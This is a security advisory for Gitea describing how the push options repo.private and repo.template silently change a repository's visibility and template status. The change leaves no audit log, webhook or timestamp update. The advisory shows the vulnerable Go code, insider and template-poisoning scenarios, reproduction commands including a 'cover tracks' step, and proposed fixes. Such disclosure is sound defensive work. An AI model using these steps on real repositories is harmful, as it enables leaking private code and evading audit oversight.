GHSA-8p9h-49rc-qgxj Gitea: Repository Visibility Manipulation via Git Push Options

• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0

Repository Visibility Manipulation via Git Push Options | Field | Value | |-------|-------| | Affected File | `routers/private/hook_post_receive.go` | | Affected Function | `HookPostReceive()` | | Affected Lines | 173–225 | | Prerequisite | Attacker must have owner-level or admin collaborator access to the target repository | --- Description Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during `git push` using the `-o` flag. Two undocumented push options, `repo.private` and `repo.template`, allow any user with repository owner or admin-collaborator access to toggle the visibility (`private/public`) and template status of a repository as a side effect of a normal git push. This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and — critically — the visibility change bypasses every control that a proper settings change would trigger: • No entry written to the repository's audit/activity log • No webhook event fired (`repository` event with `visibility_changed` action) • No org-level notification to owners • No team permission re-calculation • No email alert to watchers • The database update uses `UpdateRepositoryColsNoAutoTime`, which also suppresses the `updated_at` timestamp change --- Vulnerable Code `routers/private/hook_post_receive.go:173–225` ```go isPrivate := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate) // "repo.private" isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template" if isPrivate.Has() || isTemplate.Has() { // ... loads repo and verifies pusher is owner or admin ... if !perm.IsOwner() && !perm.IsAdmin() { ctx.JSON(http.StatusNotFound, ...) return } // FIXME: these options are not quite right, for example: changing visibility // should do more works than just setting the is_private flag // These options should only be used for "push-to-create" if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() { // TODO: it needs to do more work repo.IsPrivate = isPrivate.Value() repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private") // ^^^ bypasses updated_at timestamp, audit trail suppressed } if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() { repo.IsTemplate = isTemplate.Value() repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template") } } ``` The push option constants are defined in `modules/private/pushoptions.go:18–19`: ```go GitPushOptionRepoPrivate = "repo.private" GitPushOptionRepoTemplate = "repo.template" ``` --- Attack Scenario Scenario A — Insider threat / rogue admin collaborator An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes — long enough to clone, archive, or index the content — then makes it private again. The action leaves no audit trail distinguishable from a normal git push. Scenario B — Supply-chain template poisoning A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses `repo.template=false` to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with `repo.template=true`, and waits for downstream consumers to regenerate projects from the now-backdoored template. The `updated_at` timestamp is unchanged due to `UpdateRepositoryColsNoAutoTime`, making diff-detection harder. --- Step-by-Step Reproduction Prerequisites: • A Gitea user account with either owner or admin-collaborator access to a private repository • `git` client with push access to the repository --- Step 1 — Confirm the target repository is private --- Step 2 — Clone the repository ```bash git clone http://USER:PASSWORD@/OWNER/REPO.git /tmp/target-repo cd /tmp/target-repo ``` --- Step 3 — Make any commit *(the push option rides on a real push)* ```bash echo "$(date)" >> .gitkeep git add .gitkeep git commit -m "routine update" ``` --- Step 4 — Execute the exploit push ```bash Make the repository public git push http://USER:PASSWORD@/OWNER/REPO.git main \ -o repo.private=false The push completes with a normal success message: remote: Processed 1 references in total To http:///OWNER/REPO.git abc1234..def5678 main -> main ``` --- Step 5 — Verify the repository is now public --- Step 6 — Restore and cover tracks Re-make it private in the same session, leaving no visible audit trail The repository activity feed shows only two normal push events. The visibility change is invisible. Verification: confirm no activity log entry --- Impact Details | Impact | Description | |--------|-------------| | Data exfiltration | Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public | | No audit trail | `UpdateRepositoryColsNoAutoTime` suppresses the `updated_at` change; no activity log entry; no webhook; no notification | | Supply chain | Combined with `repo.template=true/false`, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template | | Scope | Affects all repos where the attacker has admin-collaborator access — not only repos they own | --- Recommended Fix Option 1 (preferred) — Remove the options from post-receive hook entirely. The `repo.private` and `repo.template` push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with: ```go // routers/private/hook_post_receive.go if isPrivate.Has() || isTemplate.Has() { if !wasEmpty { // repo already existed — refuse these options on established repos log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName) // do not process } else { // original push-to-create path only ... } } ``` Option 2 — Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered: ```go // Instead of the raw UpdateRepositoryColsNoAutoTime call: if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil { ... } ``` Where `UpdateRepositoryVisibility` fires the `repository` webhook event and writes an activity log entry.